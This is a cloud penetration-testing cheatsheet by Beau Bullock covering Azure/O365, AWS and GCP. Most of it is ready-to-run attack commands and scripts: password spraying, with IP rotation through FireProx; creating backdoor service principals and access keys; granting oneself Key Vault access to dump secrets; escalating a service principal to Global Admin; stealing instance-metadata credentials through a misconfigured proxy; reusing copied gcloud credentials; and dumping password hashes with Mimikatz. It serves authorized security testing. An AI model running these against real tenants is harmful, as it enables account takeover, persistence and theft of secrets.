Cloud Pentesting Cheatsheet

by Beau Bullock (@dafthack)

The most updated version of this cheatsheet can be found here:
https://github.com/dafthack/CloudPentestCheatsheets

Microsoft Azure & O365 CLI Tool Cheatsheet

Recon

Get Federation info for target domain

```
https://login.microsoftonline.com/getuserrealm.srf?
login=username@targetdomain.com&xml=1
```

Get Tenant ID for a target domain

```
https://login.microsoftonline.com/<target domain>/v2.0/.well-known/openid-
configuration
```

Az PowerShell Module

```
Import-Module Az
```

Authentication

```
Connect-AzAccount
## Or this way sometimes gets around MFA restrictions
$credential = Get-Credential
Connect-AzAccount -Credential $credential
```

Import a context file

```
Import-AzContext -Profile 'C:\Temp\Live Tokens\StolenToken.json'
```

Export a context file

```
Save-AzContext -Path C:\Temp\AzureAccessToken.json
```

Account Information

List the current Azure contexts available

```
Get-AzContext -ListAvailable
```

Get context details

```
$context = Get-AzContext
$context.Name
$context.Account
```

List subscriptions

```
Get-AzSubscription
```

Choose a subscription

```
Select-AzSubscription -SubscriptionID "SubscriptionID"
```

Get the current user's role assignment

```
Get-AzRoleAssignment
```

List all resources and resource groups

```
Get-AzResource
Get-AzResourceGroup
```

List storage accounts

```
Get-AzStorageAccount
```

WebApps & SQL

List Azure web applications

```
Get-AzAdApplication
Get-AzWebApp
```

List SQL servers

```
Get-AzSQLServer
```

Individual databases can be listed with information retrieved from the previous command

```
Get-AzSqlDatabase -ServerName $ServerName -ResourceGroupName $ResourceGroupName
```

List SQL Firewall rules

```
Get-AzSqlServerFirewallRule –ServerName $ServerName -ResourceGroupName
$ResourceGroupName
```

List SQL Server AD Admins

```
Get-AzSqlServerActiveDirectoryAdminstrator -ServerName $ServerName -ResourceGroupName
$ResourceGroupName
```

Runbooks

List Azure Runbooks

```
Get-AzAutomationAccount
Get-AzAutomationRunbook -AutomationAccountName <AutomationAccountName> -
ResourceGroupName <ResourceGroupName>
```

Export a runbook with:

```
Export-AzAutomationRunbook -AutomationAccountName $AccountName -ResourceGroupName
$ResourceGroupName -Name $RunbookName -OutputFolder .\Desktop\
```

Script to export all runbooks from all subscriptions

```
$subs = Get-AzSubscription
Foreach($s in $subs){
    $subscriptionid = $s.SubscriptionId
    mkdir .\$subscriptionid\
    Select-AzSubscription -Subscription $subscriptionid
    $runbooks = @()
    $autoaccounts = Get-AzAutomationAccount |Select-Object
AutomationAccountName,ResourceGroupName
    foreach ($i in $autoaccounts){
        $runbooks += Get-AzAutomationRunbook -AutomationAccountName
$i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object
AutomationAccountName,ResourceGroupName,Name
    }
    foreach($r in $runbooks){
        Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -
ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\
    }
}
```

Automation Account Job Outputs

Script to export all job outputs

```
$subs = Get-AzSubscription
$jobout = @()
Foreach($s in $subs){
    $subscriptionid = $s.SubscriptionId
    Select-AzSubscription -Subscription $subscriptionid
    $jobs = @()
    $autoaccounts = Get-AzAutomationAccount |Select-Object
AutomationAccountName,ResourceGroupName
    foreach ($i in $autoaccounts){
        $jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName
$i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId
    }
    foreach($r in $jobs){
        Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -
ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
        $jobout += Get-AzAutomationJobOutput -AutomationAccountName
$r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
    }
}
$jobout | out-file -Encoding ascii joboutputs.txt
```

Virtual Machines

List VMs and get OS details

```
Get-AzVM
$vm = Get-AzVM -Name "VM Name"
$vm.OSProfile
```

Extract VM UserData

```
$subs = Get-AzSubscription
$fulllist = @()
Foreach($s in $subs){
    $subscriptionid = $s.SubscriptionId
    Select-AzSubscription -Subscription $subscriptionid
    $vms = Get-AzVM
    $list = $vms.UserData
    $list
    $fulllist += $list
}
$fulllist
```

Run commands on VMs

```
Invoke-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName $VMName -CommandId
RunPowerShellScript -ScriptPath ./powershell-script.ps1
```

Networking

List virtual networks

```
Get-AzVirtualNetwork
```

List public IP addresses assigned to virtual NICs

```
Get-AzPublicIpAddress
```

Get Azure ExpressRoute (VPN) Info

```
Get-AzExpressRouteCircuit
```

Get Azure VPN Info

```
Get-AzVpnConnection
```

Backdoors

Create a new Azure service principal as a backdoor

```
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$spn
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
$UnsecureSecret
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -
RoleMemberObjectId $sp.ObjectId
#Enter the AppID as username and what was returned for $UnsecureSecret as the password
in the Get-Credential prompt
$cred = Get-Credential
Connect-AzAccount -Credential $cred -Tenant “tenant ID" -ServicePrincipal
```

MSOnline PowerShell Module

```
Import-Module MSOnline
```

Authentication

```
Connect-MsolService
## Or this way sometimes gets around MFA restrictions
$credential = Get-Credential
Connect-MsolService -Credential $credential
```

Account and Directory Information

List Company Information

```
Get-MSolCompanyInformation
```

List all users

```
Get-MSolUser -All
```

List all groups

```
Get-MSolGroup -All
```

List members of a group (Global Admins in this case)

```
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember –GroupObjectId $GUID
```

List all user attributes

```
Get-MSolUser –All | fl
```

List Service Principals

```
Get-MsolServicePrincipal
```

One-liner to search all Azure AD user attributes for passwords

```
$users = Get-MsolUser -All; foreach($user in $users){$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; foreach($prop in $props){if($user.$prop -like "*password*"){Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)}}}
```

Function Apps

List Function App Hostnames

```
$functionapps = Get-AzFunctionApp
foreach($f in $functionapps){
    $f.EnabledHostname
}
```

Extract interesting Function Info

```
$subs = Get-AzSubscription
$allfunctioninfo = @()
Foreach($s in $subs){
    $subscriptionid = $s.SubscriptionId
    Select-AzSubscription -Subscription $subscriptionid
    $functionapps = Get-AzFunctionApp
    foreach($f in $functionapps){
        $allfunctioninfo += $f.config | select-object
AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,Cor
SupportCredentials,CustomActionParameter
        $allfunctioninfo += $f.SiteConfig | fl
        $allfunctioninfo += $f.ApplicationSettings | fl
        $allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl
    }
}
$allfunctioninfo
```

Simple Password Spray Script with Az PowerShell Connect-AzAccount

This simple script works well for ADFS environments. Uses one pass per line in the passlist.txt file for spraying with unique values for each user such as username or employee ID.

```
$userlist = Get-Content userlist.txt
$passlist = Get-Content passlist.txt
$linenumber = 0
$count = $userlist.count
foreach($line in $userlist){
    $user = $line
    $pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force
    $current = $linenumber + 1
    Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user
+ " and " + $passlist[$linenumber])
    $linenumber++
    $Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
    try
    {
        Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction
SilentlyContinue
        Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
        Write-Host -ForegroundColor green ("`nGot something here: $user and " +
$passlist[$linenumber - 1] )
    }
    catch
    {
        $Failure = $_.Exception
        if ($Failure -match "ID3242")
        {
            continue
        }
        else
        {
            Write-Host -ForegroundColor green ("`nGot something here: $user and " +
$passlist[$linenumber - 1] )
            Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
            Add-Content valid-creds.txt $Failure.Message
            Write-Host -ForegroundColor red $Failure.Message
        }
    }

}
```

Az CLI Tool

Authentication

```
az login
```

Login to the account without subscription access

```
az login --allow-no-subscriptions
```

Dump Azure Key Vaults

List out any key vault resources the current account can view

```
az keyvault list –query '[].name' --output tsv
```

With contributor level access you can give yourself the right permissions to obtain secrets.

```
az keyvault set-policy --name <KeyVaultname> --upn <YourContributorUsername> --secret-permissions get list --key-permissions get list --storage-permissions get list --certificate-permissions get list
```

Get URI for Key Vault

```
az keyvault secret list --vault-name <KeyVaultName> --query '[].id' --output tsv
```

Get cleartext secret from keyvault

```
az keyvault secret show --id <URI from last command> | ConvertFrom-Json
```

Invite a Guest User to Tenant via AZ CLI

```
$Body="{'invitedUserEmailAddress':'Email Address to Invite', 'inviteRedirectUrl':'https://portal.azure.com'}”
az rest --method POST --uri https://graph.microsoft.com/v1.0/invitations --headers "Content-Type=application/json" --body $Body
```

Then use InvitationRedeemUrl to accept invite on guest user account

Service Principal Attack Path

Commands for resetting a service principal credential that has higher privileges and then using the service principal to create a new user in the tenant with global admin permissions. Create a new credential for service principal

```
az ad sp credential reset --id <app_id>
az ad sp credential list --id <app_id>
```

Login as a service principal using the password and app ID from previous command

```
az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions
```

Create a new user in the tenant

```
az ad user create --display-name <display name> --password <password> --user-principal-name <full upn>
```

Add user to Global Admin group ID via MS Graph API:

```
$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}”
az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
```

Metadata Service URL

```
http://169.254.169.254/metadata
```

Get access tokens from the metadata service

```
#### Managed Identity token retrieval
Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
#### full instance path information
$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
$instance
```

Microsoft Device Code Login via PowerShell

Reference: https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html First, initiate a device code login and then navigate to https://microsoft.com/devicelogin and enter the code that is output from the script below.

```
$body = @{
    "client_id" =     "1950a258-227b-4e31-a9cf-717495945fc2"
    "resource" =      "https://graph.microsoft.com"
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
    -UseBasicParsing `
    -Method Post `
    -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0"
`
    -Headers $Headers `
    -Body $body
$authResponse
```

After authenticating in the browser go back to your PowerShell terminal and run the below script to retrieve access tokens.

```
$body=@{
    "client_id" =  "1950a258-227b-4e31-a9cf-717495945fc2"
    "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
    "code" =       $authResponse.device_code
}
$Tokens = Invoke-RestMethod `
    -UseBasicParsing `
    -Method Post `
    -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
    -Headers $Headers `
    -Body $body
$Tokens
```

Other Azure & O365 Tools

MicroBurst

Azure security assessment tool https://github.com/NetSPI/MicroBurst Look for open storage blobs

```
Invoke-EnumerateAzureBlobs -Base $BaseName
```

Export SSL/TLS certs

```
Get-AzPasswords -ExportCerts Y
```

Azure Container Registry dump

```
Get-AzPasswords
Get-AzACR
```

PowerZure

Azure security assessment tool https://github.com/hausec/PowerZure

ROADTools

Framework to interact with Azure AD https://github.com/dirkjanm/ROADtools

Stormspotter

Red team tool for graphing Azure and Azure AD objects https://github.com/Azure/Stormspotter

MSOLSpray

Tool to password spray Azure/O365 https://github.com/dafthack

```
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Spring2020
```

AzureHound

Tool to identify attack paths in Azure AD and AzureRM https://github.com/BloodHoundAD/AzureHound Run AzureHound with a refresh token:

```
./azurehound -r "0.ARwA6Wg..." list --tenant "tenant ID" -v 2 -o output.json
```

Amazon Web Services (AWS) CLI Tool Cheatsheet

Authentication

Set AWS programmatic keys for authentication (use --profile= for a new profile)

```
aws configure
```

Open S3 bucket enumeration

List the contents of an S3 bucket

```
aws s3 ls s3://<bucketname>/
```

Download contents of bucket

```
aws s3 sync s3://bucketname s3-files-dir
```

Account Information

Get basic account info

```
aws sts get-caller-identity
```

List IAM users

```
aws iam list-users
```

List IAM roles

```
aws iam list-roles
```

List S3 buckets accessible to an account

```
aws s3 ls
```

Virtual Machines

List EC2 instances

```
aws ec2 describe-instances
```

WebApps & SQL

List WebApps

```
aws deploy list-applications
```

List AWS RDS (SQL)

```
aws rds describe-db-instances --region <region name>
```

Knowing the VPC Security Group ID you can query the firewall rules to determine connectivity potential

```
aws ec2 describe-security-groups --group-ids <VPC Security Group ID> --region <region>
```

Serverless

List Lambda Functions

```
aws lambda list-functions --region <region>
```

Look at environment variables set for secrets and analyze code

```
aws lambda get-function --function-name <lambda function>
```

Kubernetes (EKS)

List EKS clusters

```
aws eks list-clusters --region <region>
```

Update kubeconfig

```
aws eks update-kubeconfig --name <cluster-name> --region <region>
```

Networking

List EC2 subnets

```
aws ec2 describe-subnets
```

List ec2 network interfaces

```
aws ec2 describe-network-interfaces
```

List DirectConnect (VPN) connections

```
aws directconnect describe-connections
```

Backdoors

List access keys for a user

```
aws iam list-access-keys --user-name <username>
```

Backdoor account with second set of access keys

```
aws iam create-access-key --user-name <username>
```

Getting Public IPs and Hostnames

For each of the following examples place a file called regions.txt with the following content in the same folder you run these commands from. In most cases you will likely need to add on --profile to the aws cli command.

```
us-east-1
us-east-2
us-west-1
us-west-2
ca-central-1
eu-west-1
eu-west-2
eu-west-3
eu-central-1
eu-north-1
ap-southeast-1
ap-southeast-2
ap-south-1
ap-northeast-1
ap-northeast-2
ap-northeast-3
sa-east-1
```

List all EC2 public IPs

```
while read r; do
    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --
region $r | jq -r '.[]' >> ec2-public-ips.txt
done < regions.txt
sort -u ec2-public-ips.txt -o ec2-public-ips.txt
```

List all ELB DNS addresses

```
while read r; do
    aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r |
jq -r '.[]' >> elb-public-dns.txt
    aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --
region $r | jq -r '.[]' >> elb-public-dns.txt
done < regions.txt
sort -u elb-public-dns.txt -o elb-public-dns.txt
```

List all RDS DNS addresses

```
while read r; do
    aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r
| jq -r '.[]' >> rds-public-dns.txt
done < regions.txt
sort -u rds-public-dns.txt -o rds-public-dns.txt
```

List all RDS Snapshots

```
aws rds describe-db-snapshots --region us-east-1 --snapshot-type manual --
query=DBSnapshots[*].DBSnapshotIdentifier
```

List RDS Snapshot Attributes (If AttributeValues field is set to "all" then the snapshot is publicly available for any account to restore)

```
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <db identifier from
last command> --region us-east-1 --
query=DBSnapshotAttributesResult.DBSnapshotAttributes
```

Get CloudFormation Outputs

```
while read r; do
    aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description,
Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt
done < regions.txt
```

List all S3 buckets

```
aws s3 ls | awk '{print $3}' >> s3-all-buckets.txt
```

Attempt to list objects in all the S3 buckets discovered with the previous command

```
while read p; do
    echo $p
    aws s3 ls s3://$p
done < s3-all-buckets.txt
```

Instance Metadata Service URL

```
http://169.254.169.254/latest/meta-data
```

Additional IAM creds possibly available here

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/<IAM Role Name>
```

Can potentially hit it externally if a proxy service (like Nginx) is being hosted in AWS and misconfigured

```
curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ && echo
```

IMDS Version 2 has some protections but these commands can be used to access it

```
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
```

Other AWS Tools

WeirdAAL

https://github.com/carnal0wnage/weirdAAL Run recon against all AWS services to enumerate access for a set of keys

```
python3 weirdAAL.py -m recon_all -t <name>
```

Pacu

AWS exploitation framework https://github.com/RhinoSecurityLabs/pacu Install Pacu

```
sudo apt-get install python3-pip
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu
sudo bash install.sh
```

Import AWS keys for a specific profile

```
import_keys <profile name>
```

Detect if keys are honey token keys

```
run iam__detect_honeytokens
```

Enumerate account information and permissions

```
run iam__enum_users_roles_policies_groups
run iam__enum_permissions
whoami
```

Check for privilege escalation

```
run iam__privesc_scan
```

Google Cloud Platform CLI Tool Cheatsheet

Authentication

Authentication with gcloud

```
#user identity login
gcloud auth login
#service account login
gcloud auth activate-service-account --key-file creds.json
```

List accounts available to gcloud

```
gcloud auth list
```

Account Information

Get account information

```
gcloud config list
```

List organizations

```
gcloud organizations list
```

Enumerate IAM policies set ORG-wide

```
gcloud organizations get-iam-policy <org ID>
```

Enumerate IAM policies set per project

```
gcloud projects get-iam-policy <project ID>
```

List projects

```
gcloud projects list
```

Set a different project

```
gcloud config set project <project name>
```

Gives a list of all APIs that are enabled in project

```
gcloud services list
```

Get source code repos available to user

```
gcloud source repos list
```

Clone repo to home dir

```
gcloud source repos clone <repo_name>
```

Virtual Machines

List compute instances

```
gcloud compute instances list
```

Get shell access to instance

```
gcloud beta compute ssh --zone "<region>" "<instance name>" --project "<project name>"
```

Puts public ssh key onto metadata service for project

```
gcloud compute ssh <local host>
```

Get access scopes if on an instance

```
curl http://metadata.google.internal/computeMetadata/v1/instance/service-
accounts/default/scopes -H &#39;Metadata-Flavor:Google’
```

Use Google keyring to decrypt encrypted data

```
gcloud kms decrypt --ciphertext-file=encrypted-file.enc --plaintext-file=out.txt --key
<crypto-key> --keyring <crypto-keyring> --location global
```

Storage Buckets

List Google Storage buckets

```
gsutil ls
```

List Google Storage buckets recursively

```
gsutil ls -r gs://<bucket name>
```

Copy item from bucket

```
gsutil cp gs://bucketid/item ~/
```

Webapps & SQL

List WebApps

```
gcloud app instances list
```

List SQL instances

```
gcloud sql instances list
gcloud spanner instances list
gcloud bigtable instances list
```

List SQL databases

```
gcloud sql databases list --instance <instance ID>
gcloud spanner databases list --instance <instance name>
```

Export SQL databases and buckets First copy buckets to local directory

```
gsutil cp gs://bucket-name/folder/ .
```

Create a new storage bucket, change perms, export SQL DB

```
gsutil mb gs://<googlestoragename>
gsutil acl ch -u <service account> gs://<googlestoragename>
gcloud sql export sql <sql instance name> gs://<googlestoragename>/sqldump.gz --
database=<database name>
```

Networking

List networks

```
gcloud compute networks list
```

List subnets

```
gcloud compute networks subnets list
```

List VPN tunnels

```
gcloud compute vpn-tunnels list
```

List Interconnects (VPN)

```
gcloud compute interconnects list
```

Containers

```
gcloud container clusters list
```

GCP Kubernetes config file ~/.kube/config gets generated when you are authenticated with gcloud and run:

```
gcloud container clusters get-credentials <cluster name> --region <region>
```

If successful and the user has the correct permission the Kubernetes command below can be used to get cluster info:

```
kubectl cluster-info
```

Serverless

GCP functions log analysis – May get useful information from logs associated with GCP functions

```
gcloud functions list
gcloud functions describe <function name>
gcloud functions logs read <function name> --limit <number of lines>
```

GCP Cloud Run analysis – May get useful information from descriptions such as environment variables.

```
gcloud run services list
gcloud run services describe <service-name>
gcloud run revisions describe --region=<region> <revision-name>
```

Gcloud stores creds in ~/.config/gcloud/credentials.db Search home directories

```
sudo find /home -name "credentials.db
```

Copy gcloud dir to your own home directory to auth as the compromised user

```
sudo cp -r /home/username/.config/gcloud ~/.config
sudo chown -R currentuser:currentuser ~/.config/gcloud
gcloud auth list
```

Metadata Service URL

```
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H
"Metadata-Flavor: Google"
```

Other Useful Cloud Tools and Techniques Cheatsheet

ScoutSuite

Multi-cloud security auditing tool https://github.com/nccgroup/ScoutSuite Install ScoutSuite

```
sudo apt-get install virtualenv
git clone https://github.com/nccgroup/ScoutSuite
cd ScoutSuite
virtualenv –p python3 venv
source venv/bin/activate
pip install –r requirements.txt
```

To run as root

```
sudo apt-get install virtualenv
sudo su
virtualenv -p python3 venv
source venv/bin/activate
pip install scoutsuite
```

Scan AWS environment with ScoutSuite

```
python scout.py aws --profile=<aws profile name>
or if installed...
scout aws --profile=<aws profile name>
```

jq queries to help with parsing many ScoutSuite reports

Sometimes you may need to work with multiple ScoutSuite files and report similar items across all of them. The ScoutSuite reports are in json format so the 'jq' tool can be used to parse through them easily. Here are a few short script examples for doing this. Run these from the directory where you output each of the ScoutSuite folders to.

AWS

```
### Find All Lambda Environment Variables
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq
'.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn,
.env_variables' >> lambda-all-environment-variables.txt
done
### Find World Listable S3 Buckets
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id,
.services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]'  >> s3-buckets-
world-listable.txt
done
### Find All EC2 User Data
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq
'.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn,
.user_data'  >> ec2-instance-all-user-data.txt
done
### Find EC2 Security Groups That Whitelist AWS CIDRs
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-
security-group-whitelists-aws-cidrs.txt
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq
'.services.ec2.findings."ec2-security-group-whitelists-aws".items'  >> ec2-security-
group-whitelists-aws-cidrs.txt
done
### Find EC2 EBS Public AMIs
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq
'.services.ec2.regions[].images[] | select (.Public == true) | .arn' >> ec2-public-
amis.txt
done
### Find All EC2 EBS Volumes Unencrypted
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq
'.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-
volume-not-encrypted.txt
done
### Find All EC2 EBS Snapshots Unencrypted
for d in */ ; do
    tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq
'.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-
snapshot-not-encrypted.txt
done
```

Azure

```
### List All Azure App Service Host Names
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r
'.services.appservice.subscriptions[].web_apps[].host_names[]'
### List All Azure SQL Servers
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr
'.services.sqldatabase.subscriptions[].servers[] | .name,".database.windows.net","\n"'
### List All Azure Virtual Machine Hostnames
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr
'.services.virtualmachines.subscriptions[].instances[] |
.name,".",.location,".cloudapp.windows.net","\n"'
### List Storage Accounts
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r
'.services.storageaccounts.subscriptions[].storage_accounts[] | .name'
### List Storage and containers for mangle script
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r
'.services.storageaccounts.subscriptions[].storage_accounts[] |
.blob_containers_count,.name,.blob_containers[].id' > /root/Desktop/storage.txt
### List disks encrypted with PMKs
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq
'.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type =
"EncryptionAtRestWithPlatformKey") | .name' > disks-with-pmks.txt
```

Custom jq Parsing Help

Sometimes json files are extremely large and can be difficult to parse through each level of child parameters. Using with_entries will help to only list direct child objects making it easier to navigate through a json file.

```
tail scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.cloudtrail |
with_entries(select(.value | scalars))'
{
  "IncludeGlobalServiceEvents": true,
  "regions_count": 17,
  "trails_count": 34
}
tail scoutsuite-results/scoutsuite_results*.js -n +2 | jq
'.services.cloudtrail.regions[] | with_entries(select(.value | scalars))'
{
  "id": "ap-northeast-1",
  "name": "ap-northeast-1",
  "region": "ap-northeast-1",
  "trails_count": 2
}
{
  "id": "ap-northeast-2",
  "name": "ap-northeast-2",
  "region": "ap-northeast-2",
  "trails_count": 2
}
etc...
```

Cloud_Enum

Tool to search for public resources in AWS, Azure, and GCP
https://github.com/initstring/cloud_enum

```
python3 cloud_enum.py -k <name-to-search>
```

GitLeaks

Search repositories for secrets https://github.com/zricethezav/gitleaks Pull GitLeaks with Docker

```
sudo docker pull zricethezav/gitleaks
```

Print the help menu

```
sudo docker run --rm --name=gitleaks zricethezav/gitleaks --help
```

Use GitLeaks to search for secrets

```
sudo docker run --rm --name=gitleaks zricethezav/gitleaks -v -r <repo URL>
```

TruffleHog - https://github.com/dxa4481/truffleHog Shhgit - https://github.com/eth0izzle/shhgit Gitrob - https://github.com/michenriksen/gitrob

Mimikatz

Export Non-Exportable Private Keys From Web Server

```
mimikatz# crypto::capi
mimikatz# privilege::debug
mimikatz# crypto::cng
mimikatz# crypto::certificates /systemstore:local_machine /store:my /export
```

Dump passwords hashes from SAM/SYSTEM files

```
mimikatz# lsadump::sam /system:SYSTEM /sam:SAM
```

Check Command History

Linux Bash History Location

```
~/.bash_history
```

Windows PowerShell PSReadLine Location

```
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_hist
ory.txt
```

PowerView

https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon Find on-prem ADConnect account name and server

```
Get-NetUser -Filter "(samAccountName=MSOL_*)" |Select-Object name,description | fl
```

FireProx

Password Spraying Azure/O365 while randomizing IPs with FireProx Install

```
git clone https://github.com/ustayready/fireprox
cd fireprox
virtualenv -p python3 .
source bin/activate
pip install -r requirements.txt
python fire.py
```

Launch FireProx

```
python fire.py --access_key <access_key_id> --secret_access_key <secret_access_key> --
region <region> --url https://login.microsoft.com --command create
```

Password spray using FireProx + MSOLSpray

```
Invoke-MSOLSpray -UserList .\userlist.txt -Password Spring2020 -URL https://api-
gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox
```

ip2Provider

Check a list of IP addresses against cloud provider IP space
https://github.com/oldrho/ip2provider

Vulnerable Infrastructure Creation

Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat SadCloud - https://github.com/nccgroup/sadcloud Flaws Cloud - http://flaws.cloud Thunder CTF - http://thunder-ctf.cloud